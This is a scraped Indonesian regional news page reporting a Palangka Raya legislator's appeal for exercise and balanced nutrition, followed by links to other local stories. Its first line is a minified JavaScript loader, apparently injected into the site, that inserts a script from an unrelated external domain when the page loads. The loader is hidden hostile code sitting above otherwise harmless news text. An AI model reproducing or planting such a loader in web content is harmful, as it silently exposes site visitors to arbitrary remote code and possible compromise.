(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA – Wakil Ketua I Komisi C DPRD Palangka Raya, Ruselita, mengimbau agar masyarakat tidak mengabaikan pentingnya menjaga kesehatan, karena saat ini cuaca sering berubah-ubah tidak menentu.
“Untuk menjaga kebugaran dan kesehatan tubuh, kami mengimbau masyarakat untuk tidak abai terkait pentingnya berolahraga dan menjaga pola makanan yang sehat dan bergizi,” kata Ruselita.
Menurut srikandi DPRD Palangka Raya dari Partai Perindo ini, masyarakat harus bisa mengatur pola hidup sehat terutama mengatur waktu kapan berolahraga, dan menjaga kebugaran tubuh.
“Intinya bisa membagi waktu, kapan saat bekerja dan kapan bisa ada ruang untuk berolahraga. Kemudian diimbangi dengan pola hidup sehat. Seperti keseimbangan pola gizi makanan,”ujarnya.
Tak bisa dipungkiri kegiatan berolahraga ditambah dengan pola makanan berisi yang seimbang, telah menjadi sesuatu yang tidak terpisahkan bagi setiap manusia.
Terlebih sebab ini masyarakat sempat dalam kondisi sangat terbatas dengan lingkungan luar akibat pandemi. Namun kini saatnya untuk memperbaiki pola dan waktu menjaga kesehatan tubuh.
“Maka jadikan olahraga dan pola makanan bergizi seimbang sebagai satu kesatuan untuk menjaga kesehatan tubuh agar tetap terjaga dengan baik. Apalagi di tengah cuaca tak menentu saat ini,” pungkasnya.(Kanalkalimantan.com/kk)
Reporter: kk
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Hj Raudatul Jannah atau Acil Odah siap ramaikan kontestasi Pemilihan Kepala Daerah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara melaksanakan Musyawarah Perencanaan Pembangunan (Musrenbang) Rencana Pembangunan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Rapat Paripurna beragendakan Jawaban Bupati atas Pemandangan Umum Fraksi-fraksi DPRD terhadap Rancangan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kesiapsiagaan Bencana dan antisipasi bencana di Kalimantan Selatan, Badan Penanggulangan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Mantan Wakil Gubernur Kalimantan Tengah Habib Ismail bin Yahya secara resmi… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi menghadiri acara halalbihalal gabungan pengajian… Read More
This website uses cookies.